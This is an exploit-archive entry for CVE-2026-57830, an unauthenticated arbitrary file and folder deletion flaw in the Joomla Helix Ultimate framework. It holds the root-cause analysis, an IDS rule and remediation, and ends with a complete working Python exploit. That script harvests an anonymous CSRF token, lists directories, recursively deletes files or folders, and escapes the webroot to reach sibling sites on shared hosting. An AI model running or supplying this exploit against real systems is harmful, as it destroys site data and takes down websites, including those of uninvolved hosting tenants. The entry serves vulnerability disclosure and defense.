PoC Archive PoC Archive
CVE-2026-57830 category: web CVSS 9.1 (CRITICAL)
Patched

Joomla Helix Ultimate Framework — Unauthenticated Arbitrary File Deletion (CVE-2026-57830)

Published: 2026-07-27 • Researcher: Is4yev (Amin İsayev)

Target software Helix Ultimate Framework (plg_system_helixultimate), the JoomShaper Joomla template framework bundled with virtually every JoomShaper Joomla template
Affected versions 1.0 – 2.2.6 (fixed in 2.2.7)
Status Weaponized
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-57830
Category
web
Affected product
Helix Ultimate Framework (plg_system_helixultimate), the JoomShaper Joomla template framework bundled with virtually every JoomShaper Joomla template
Affected versions
1.0 – 2.2.6 (fixed in 2.2.7)
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherIs4yev (Amin İsayev)
CVE / AdvisoryCVE-2026-57830
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3)
StatusWeaponized
Tagsjoomla, helix-ultimate, joomshaper, arbitrary-file-deletion, cwe-862, unauthenticated, csrf-token-only-check
RelatedN/A

Affected Target

FieldValue
Software / SystemHelix Ultimate Framework (plg_system_helixultimate), the JoomShaper Joomla template framework bundled with virtually every JoomShaper Joomla template
Versions Affected1.0 – 2.2.6 (fixed in 2.2.7)
Language / PlatformPHP / Joomla CMS (system plugin, com_ajax dispatch)
Authentication RequiredNo
Network Access RequiredYes — any HTTP(S) reachability to the target site’s index.php

Summary

Helix Ultimate’s plugins/system/helixultimate/src/Platform/Media.php exposes deleteMedia() and getFolders() through the Joomla com_ajax dispatch hook (onAfterRoute()), reachable via option=com_ajax&helix=ultimate&action=delete-media/view-media. These methods only call Session::checkToken() — a plain CSRF check — with no authorise()/login check at all (CWE-862, Missing Authorization). Because a valid CSRF token is trivially harvestable from the site’s own public homepage HTML by any anonymous visitor, this “protection” authorizes nobody in particular: it just proves the request came from a browser that loaded the page once. The result is unauthenticated arbitrary file deletion (and, as a side effect of the same code path, unauthenticated folder/image listing), on any site running a Helix-Ultimate-based JoomShaper template — which is the default, always-enabled state for that whole product line. Fixed in 2.2.7 by confining file operations to validated paths via Helper::resolveMediaPath().

Vulnerability Details

Root Cause

plugins/system/helixultimate/helixultimate.php (onAfterRoute(), site-client branch) dispatches on the raw option/helix/request/action GET parameters:

PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
    switch ($action)
    {
        case 'upload-blog-image': Blog::upload_image(); break;   // has core.create/com_media check
        case 'remove-blog-image': Blog::remove_image(); break;   // has core.delete/com_media check
        case 'view-media':        Media::getFolders();  break;  // NO authorise() check
        case 'delete-media':      Media::deleteMedia(); break;  // NO authorise() check
        case 'upload-media':      Media::uploadMedia(); break;  // has core.edit/com_templates check
    }
}

Media::deleteMedia() itself:

PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← only CSRF, no authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // recursive
}

This is inconsistent with the sibling method uploadMedia() in the same class, which correctly requires core.edit on com_templates before touching the filesystem — deleteMedia()/getFolders() simply never got the equivalent gate. Since this is a system plugin, onAfterRoute() fires on every front-end request regardless of which template is active, so the vulnerable path is reachable as long as the plugin is installed and enabled — true by default on any Helix-Ultimate-based site.

A secondary factor amplifies the blast radius: $path passes through Joomla’s PATH input filter (InputFilter::cleanPath()), whose regex allows exactly one run of ../ sitting directly after the string’s leading /, without being caught (only chained ../../.. gets blocked). A value like /../sibling_dir therefore survives the filter intact, letting the primitive reach exactly one directory level above JPATH_ROOT — and unlimited depth below that level. On shared hosting where multiple tenant sites live as sibling directories under one OS user (cPanel addon domains, Plesk subscriptions, etc.), an anonymous visitor to one Helix-Ultimate site can enumerate and delete files belonging to every other site under that account.

Attack Vector

  1. Anonymous GET to the target’s homepage to harvest a valid, ordinary anonymous-session CSRF token (csrf.token embedded in the page’s Joomla-generated JS/HTML, or a hidden form field matching a 32-hex-char token name).
  2. POST to index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media with body parameters path (root-relative, e.g. /images/x.txt, or webroot-escaping via a single /../), type (file or folder), and the harvested token name set to 1.
  3. No session login, cookie, or credential of any kind beyond the anonymous CSRF token is required — the whole chain is a single unauthenticated HTTP round trip to obtain the token, followed by a single unauthenticated POST to delete.
  4. action=view-media on the same dispatch path additionally allows unauthenticated read/enumeration of folders and image files at any reachable path (used as the safe, non-destructive detection signal).

Impact

Unauthenticated, unconditional deletion of any single file reachable under JPATH_ROOT (trivially configuration.php → immediate “No configuration” fatal error → full site outage), or unauthenticated recursive deletion of an entire folder (type=folder, e.g. /administrator, /components, /media) for near-total destruction of the install. Combined with the one-level webroot escape, the same primitive reaches sibling directories on shared hosting, turning a single vulnerable site into a whole-account blast radius. A companion unauthenticated view-media listing primitive also discloses folder/image names and resolved absolute server paths. This is confirmed file-deletion/DoS impact only — it is not RCE. The upstream researcher explicitly tested the plausible escalation theory (deleting configuration.php to re-expose the Joomla web installer) live and disproved it: Joomla’s own core bootstrap redirects every request — including the exploit’s own — to /installation/index.php before any plugin code runs whenever installation/ is present, so the “delete config, then complete the installer” states never chain. The confirmed, honest impact ceiling is unauthenticated, guaranteed full-site DoS plus unauthenticated info disclosure — already Critical-severity on its own merits without an inflated RCE claim.

Environment / Lab Setup

Output
Target:      Joomla site (any version) with a Helix-Ultimate-based JoomShaper template installed —
             plg_system_helixultimate enabled and active, versions 1.0-2.2.6
Attacker:    Python 3 + requests + urllib3
Tools:       helix_ultimate_detect.py, helix_ultimate_delete_poc.py (this folder)

Setup Steps

Shell script
1
pip install requests urllib3

Proof of Concept

See helix_ultimate_delete_poc.py and helix_ultimate_detect.py (both full, unmodified) and upstream-README.md in this folder — mirrored from Is4yev/CVE-2026-57830. Verified before ingestion: both scripts read in full, cross-checked against the actual JoomShaper Media.php/helixultimate.php source pre-fix (missing authorise() on deleteMedia()/getFolders(), present on uploadMedia()) and the vendor’s 2.2.7 fix commit confining file operations to validated paths via Helper::resolveMediaPath(). Both scripts implement genuine, working requests-based exploitation: they harvest a real anonymous CSRF token from the target’s own homepage HTML and use it directly against the delete-media/view-media AJAX actions — no obfuscation, no unrelated network calls, no destructive default behavior (the detect script never deletes anything; the delete script requires an explicit --delete path argument).

Step-by-Step Reproduction

  1. Non-destructive detection — confirms unauthenticated reachability of the Media class without touching anything:

    Shell script
    1
    
    python3 helix_ultimate_detect.py https://target.com
  2. Read-only listing — enumerate folders/images at any root-relative (or one-level-escaping) path:

    Shell script
    1
    2
    
    python3 helix_ultimate_delete_poc.py https://target.com --list /images
    python3 helix_ultimate_delete_poc.py https://target.com --list /../sibling_dir
  3. Destructive delete — requires explicit --delete, targets an attacker-chosen path:

    Shell script
    1
    2
    
    python3 helix_ultimate_delete_poc.py https://target.com --delete /images/some_test_file.txt
    python3 helix_ultimate_delete_poc.py https://target.com --delete /some/folder --type folder

Exploit Code

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def get_anon_csrf_token(session, base_url):
    r = session.get(base_url, timeout=10, allow_redirects=True)
    m = TOKEN_RE.search(r.text) or HIDDEN_TOKEN_RE.search(r.text)
    if not m:
        return None
    return m.group(1)

def delete_path(session, base_url, token, path, type_):
    endpoint = f"{base_url}/index.php"
    params = {
        "option": "com_ajax",
        "helix": "ultimate",
        "request": "task",
        "action": "delete-media",
    }
    data = {"path": path, "type": type_, token: "1"}
    r = session.post(endpoint, params=params, data=data, timeout=15)
    return r.json()

Expected Output

Output
[*] Target: https://target.com
[*] Harvesting anonymous CSRF token from homepage (no login involved) ...
[*] Token: a1b2c3d4e5f6...

[*] Deleting file: /images/some_test_file.txt
[*] Response: {'status': True}
[+] Delete reported as SUCCESSFUL by the server.

Screenshots / Evidence

Not included by the upstream author — the PoC’s own console output (shown above under Expected Output) and the live lab verification transcripts in upstream-README.md (“Live verification (2026-07-06)” and “Path traversal escapes JPATH_ROOT entirely — live proof (2026-07-06)”) serve as the evidence trail.

Detection & Indicators of Compromise

Output
option=com_ajax&helix=ultimate&request=task&action=delete-media
option=com_ajax&helix=ultimate&request=task&action=view-media

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Helix Ultimate unauthenticated delete-media attempt"; content:"helix=ultimate"; http_uri; content:"action=delete-media"; http_uri; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade Helix Ultimate Framework to 2.2.7 or later — the fix confines file operations to validated paths via Helper::resolveMediaPath().
WorkaroundIf upgrading is not immediately possible, add an authorise('core.edit', 'com_templates') (or equivalent core.delete) check to Media::deleteMedia() and Media::getFolders() in src/Platform/Media.php, matching the pattern already used by uploadMedia() in the same class.
Config HardeningDisable/remove plg_system_helixultimate if the site does not actually need the framework’s front-end media AJAX actions; monitor and rate-limit option=com_ajax&helix=ultimate requests at the WAF/reverse-proxy layer.

References

Notes

Verified before ingestion per this archive’s standard: read the full, real contents of both helix_ultimate_delete_poc.py and helix_ultimate_detect.py (not just the README) and cross-checked the claimed root cause against the actual JoomShaper Media.php/helixultimate.php source both pre-fix (missing authorise() gate on deleteMedia()/getFolders(), present and correct on the sibling uploadMedia()) and the vendor’s 2.2.7 fix commit, which confines file operations to validated paths via the new Helper::resolveMediaPath(). The author (Is4yev / Amin İsayev, Proxima Cyber Security, Azerbaijan) has a credible, non-throwaway account history (active since 2021) with prior legitimate Joomla CVE PoCs (CVE-2026-48909, CVE-2026-57829), which was treated as a track-record signal rather than sole evidence.

The upstream upstream-README.md is itself a strong positive signal of researcher rigor: it documents that an earlier draft’s RCE-escalation theory (deleting configuration.php to re-expose the Joomla web installer and complete a takeover) was tested live in a disposable Docker lab and explicitly disproved — Joomla’s core bootstrap redirects every request, including the exploit’s own, to /installation/index.php whenever that folder is present, so the two states never chain. The same document also self-corrects an earlier wrong claim that Media::createFolder() was unauthenticated-reachable, after a full pass over the plugin’s dispatch wiring showed that method is only reachable via an admin-gated code path (onAfterRespond() requiring isClient('administrator')). Both corrections were made by the author against their own prior work rather than surfaced externally, which is a meaningfully stronger signal than an uncorrected first draft. Confirmed unauthenticated capability set, final: delete (file or recursive folder) + read (folder/image listing) only — file-deletion/DoS impact, not RCE. This distinction is preserved precisely in this write-up’s Impact section above and should not be re-inflated to RCE in any downstream summary of this entry.

helix_ultimate_delete_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#!/usr/bin/env python3
"""
Helix Ultimate Framework (JoomShaper) - Unauthenticated Path-Traversal Arbitrary
File/Folder Read+Delete -> Guaranteed Full Site DoS, cross-tenant on shared hosting
Affected : plg_system_helixultimate <= 2.2.6 (current, unpatched as of 2026-07)
Author   : Amin Isayev / Proxima Cyber Security

VULNERABILITY:
  option=com_ajax&helix=ultimate&request=task&action=delete-media  (write/delete)
  option=com_ajax&helix=ultimate&request=task&action=view-media    (read/list)
    -> plugins/system/helixultimate/src/Platform/Media.php::deleteMedia()/getFolders()
  Only checks Session::checkToken() (CSRF). No authorise()/login check.
  'path' is resolved as JPATH_ROOT + path. Joomla's PATH input filter
  (InputFilter::cleanPath()) does NOT block a single '/../' component - a value like
  '/../sibling_dir' survives the filter intact (one dot-run right after the leading '/'
  is allowed by the regex; only *chained* '../../..' gets blocked). This means the bug
  reaches one directory level above JPATH_ROOT, and arbitrary depth below that level -
  i.e. sibling directories of the Joomla install, not just files inside it. On shared
  hosting where multiple sites share one OS user (cPanel addon domains, Plesk, etc.)
  this lets an anonymous visitor to ONE site read/delete files belonging to every OTHER
  site under the same account. type=folder recursively deletes a directory's contents.

NOTE: this is a DoS bug, NOT RCE. The "delete configuration.php to re-expose the Joomla
installer" theory was tested live and disproved: if installation/ exists, Joomla core
redirects ALL requests (including this exploit's own request) to the installer before
any plugin code runs - so the two states never chain. See readme.md,
"RCE escalation - tested and disproved". This script therefore does NOT include a
configuration.php-deletion mode - deleting it only bricks the target with no escalation
benefit, so that action was removed to avoid unnecessary damage.

PATH SYNTAX - READ THIS BEFORE USING --list / --delete:
  The server does a *plain string concatenation*: JPATH_ROOT + path. It is NOT
  "change directory to this absolute path". This means:

  - CORRECT: a path relative to the Joomla webroot, always starting with '/':
        --list /images
        --list /administrator
        --delete /images/some_test_file.txt

  - CORRECT (webroot escape): use a literal '/..' to go exactly one directory
    level above JPATH_ROOT, then continue normally - this is how you reach a
    sibling site's folder on shared hosting:
        --list /../sibling_domain.tld/public_html
        --delete /../sibling_domain.tld/public_html/some_file.txt

  - WRONG: pasting the target's full absolute server path (e.g. copied from a
    previous --list result), such as:
        --list /home/someuser/domains/example.com/administrator
    This gets appended AFTER JPATH_ROOT, producing a nonsense nested path like
    ".../public_html/home/someuser/domains/example.com/administrator" that does
    not exist on disk -> the server correctly reports 0 folders/0 images. This
    is NOT a sign that the path is protected; it is just the wrong argument.

  - MISLEADING TRAP: an absolute path *ending in a trailing slash*, e.g.:
        --list /home/someuser/domains/example.com/administrator/
    Joomla's PATH filter rejects any string that ends in '/' (every segment
    must be followed by at least one more character), so the whole value is
    silently discarded and treated as an EMPTY path -> the server falls back to
    listing JPATH_ROOT itself (the site's own webroot root). This LOOKS like it
    "worked" (you get a real folder/image listing back) but it is actually just
    re-showing the default root, not the path you typed. Always double-check
    the returned 'path'/breadcrumb field in the response against what you
    expected before trusting a result.

THIS SCRIPT IS DESTRUCTIVE. It will actually delete files/folders on the target.
Use ONLY against systems you own or have explicit written authorization to test.

Usage:
    # Safe-ish default: just prove it by deleting one attacker-chosen, non-critical path
    python3 helix_ultimate_delete_poc.py https://target.com --delete /images/some_test_file.txt

    # Recursive folder delete
    python3 helix_ultimate_delete_poc.py https://target.com --delete /some/folder --type folder

    # Read-only: list a path (supports the same traversal syntax, e.g. /../sibling_dir)
    python3 helix_ultimate_delete_poc.py https://target.com --list /../sibling_dir

    # Escape the webroot: delete something in a sibling directory (shared hosting)
    python3 helix_ultimate_delete_poc.py https://target.com --delete /../sibling_dir/file.txt
"""

import sys
import re
import argparse
import requests
import urllib3

urllib3.disable_warnings()

TOKEN_RE = re.compile(r'csrf\.token"\s*:\s*"([a-f0-9]{32})"')
HIDDEN_TOKEN_RE = re.compile(r'name="([a-f0-9]{32})"\s+value="1"')


def get_anon_csrf_token(session, base_url):
    r = session.get(base_url, timeout=10, allow_redirects=True)
    m = TOKEN_RE.search(r.text) or HIDDEN_TOKEN_RE.search(r.text)
    if not m:
        return None
    return m.group(1)


def detect_os(session, base_url):
    """
    Best-effort OS fingerprint, using two independent signals:
      1. The HTTP 'Server' response header (e.g. 'Apache/2.4.41 (Ubuntu)',
         'nginx/1.18.0', 'Microsoft-IIS/10.0') - present on the plain homepage
         request, no exploit needed.
      2. The path separator / drive-letter style in any absolute server path
         this vulnerability has already leaked back to you via --list (e.g.
         '/home/user/domains/...' = Linux/Unix, 'C:\\inetpub\\wwwroot\\...' =
         Windows). Pass a leaked path via `leaked_path=` to use this signal.
    Returns a short human-readable string; never raises.
    """
    server_header = None
    try:
        r = session.head(base_url, timeout=10, allow_redirects=True)
        server_header = r.headers.get("Server")
    except requests.RequestException:
        pass
    return server_header


def guess_os_from_path(path):
    if not path:
        return None
    if re.match(r'^[A-Za-z]:\\', path) or '\\' in path:
        return "Windows (drive-letter / backslash path style)"
    if path.startswith('/'):
        return "Linux/Unix (forward-slash absolute path style)"
    return None


def delete_path(session, base_url, token, path, type_):
    endpoint = f"{base_url}/index.php"
    params = {
        "option": "com_ajax",
        "helix": "ultimate",
        "request": "task",
        "action": "delete-media",
    }
    data = {
        "path": path,
        "type": type_,
        token: "1",
    }
    r = session.post(endpoint, params=params, data=data, timeout=15)
    try:
        return r.json()
    except ValueError:
        return {"status": None, "raw": r.text[:300]}


def list_path(session, base_url, token, path):
    endpoint = f"{base_url}/index.php"
    params = {
        "option": "com_ajax",
        "helix": "ultimate",
        "request": "task",
        "action": "view-media",
    }
    data = {
        "path": path,
        token: "1",
    }
    r = session.post(endpoint, params=params, data=data, timeout=15)
    try:
        return r.json()
    except ValueError:
        return {"status": None, "raw": r.text[:300]}


def warn_if_suspicious_path(path):
    """Flag the two common mistakes: pasting an absolute server path, or one
    ending in '/' (which Joomla's PATH filter silently empties out)."""
    looks_absolute_server_path = path.count('/') > 2 and '/../' not in path and not path.startswith(('/images', '/administrator', '/components', '/media', '/modules', '/plugins', '/templates', '/tmp', '/cache', '/includes', '/language', '/layouts', '/libraries', '/cli', '/api'))
    if not path.startswith('/'):
        print("[!] Note: path has no leading '/'. The server does 'JPATH_ROOT' + path with NO")
        print("    separator in between, so a bare 'images' becomes '.../htmlimages' (garbage).")
        print("    Use a leading slash, e.g. /images")
    elif path.endswith('/') and path != '/':
        print("[!] Warning: path ends with '/'. Joomla's PATH filter REJECTS any value ending in")
        print("    '/' and silently replaces it with an EMPTY path - the server will fall back to")
        print("    listing/targeting JPATH_ROOT itself, NOT the path you typed. Drop the trailing '/'.")
    elif looks_absolute_server_path:
        print("[!] Warning: this looks like a full absolute SERVER path (e.g. copied from a")
        print("    previous --list result), not a path relative to the Joomla webroot. The server")
        print("    does JPATH_ROOT + path as plain string concatenation, so an absolute path here")
        print("    produces a nonsense nested directory that does not exist (0 results), NOT a")
        print("    real lookup of that absolute path. Use /path or /../sibling/path instead - see")
        print("    the 'PATH SYNTAX' section in this script's --help / docstring.")


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("target", help="Base URL of the target, e.g. https://target.com")
    parser.add_argument("--delete", metavar="PATH", help="Root-relative (or /../sibling) path to delete, e.g. /images/x.txt or /../otherdomain/config.php")
    parser.add_argument("--type", choices=["file", "folder"], default="file", help="Delete a file (default) or a whole folder (recursive)")
    parser.add_argument("--list", metavar="PATH", dest="list_path", help="Read-only: list folders/images at a root-relative (or /../sibling) path, e.g. /../otherdomain")
    args = parser.parse_args()

    if not args.delete and not args.list_path:
        parser.print_help()
        print("\n[!] Nothing to do - pass --delete <path> or --list <path>")
        sys.exit(1)

    base_url = args.target.rstrip('/')
    session = requests.Session()
    session.verify = False
    session.headers.update({"User-Agent": "Mozilla/5.0"})

    print(f"[*] Target: {base_url}")
    print("[*] Harvesting anonymous CSRF token from homepage (no login involved) ...")
    token = get_anon_csrf_token(session, base_url)
    if not token:
        print("[-] Could not extract csrf.token - aborting")
        sys.exit(1)
    print(f"[*] Token: {token}")

    server_header = detect_os(session, base_url)
    if server_header:
        print(f"[*] HTTP Server header: {server_header}")

    if args.list_path:
        print(f"\n[*] Listing (read-only): {args.list_path}")
        warn_if_suspicious_path(args.list_path)
        result = list_path(session, base_url, token, args.list_path)

        if result.get("status") is not True:
            print(f"[-] Listing failed or path not found. Raw response: {result}")
        else:
            echoed_path = result.get("path")
            if echoed_path in (None, "", "/") and args.list_path not in ("/", ""):
                print(f"[!] Server echoed back path={echoed_path!r} instead of your input - this is the")
                print("    'trailing slash got emptied' trap (see warning above). You are looking at")
                print("    JPATH_ROOT's own root listing, not the path you intended.")

            folders = result.get("folders") or []
            images = result.get("images") or []

            print(f"\n[+] Folders ({len(folders)}):")
            if folders:
                for name in sorted(folders):
                    print(f"      {name}/")
            else:
                print("      (none)")

            print(f"\n[+] Images ({len(images)}), with resolved absolute server paths:")
            if images:
                for full_path in sorted(images):
                    filename = full_path.rsplit('/', 1)[-1]
                    print(f"      {filename:<40} -> {full_path}")
            else:
                print("      (none)")

            print("\n[+] If this path is outside the Joomla webroot and still returns data,")
            print("    that confirms the traversal escapes JPATH_ROOT on this target.")

            path_os_guess = guess_os_from_path(images[0]) if images else None
            if path_os_guess:
                print(f"\n[*] OS guess from leaked absolute path style: {path_os_guess}")
                print(f"    (sample path: {images[0]})")

    if args.delete:
        print(f"\n[*] Deleting {args.type}: {args.delete}")
        warn_if_suspicious_path(args.delete)
        result = delete_path(session, base_url, token, args.delete, args.type)
        print(f"[*] Response: {result}")
        if result.get("status") is True:
            print("[+] Delete reported as SUCCESSFUL by the server.")
        else:
            print("[-] Delete reported failed (path may not exist, or plugin not present/enabled).")


if __name__ == "__main__":
    main()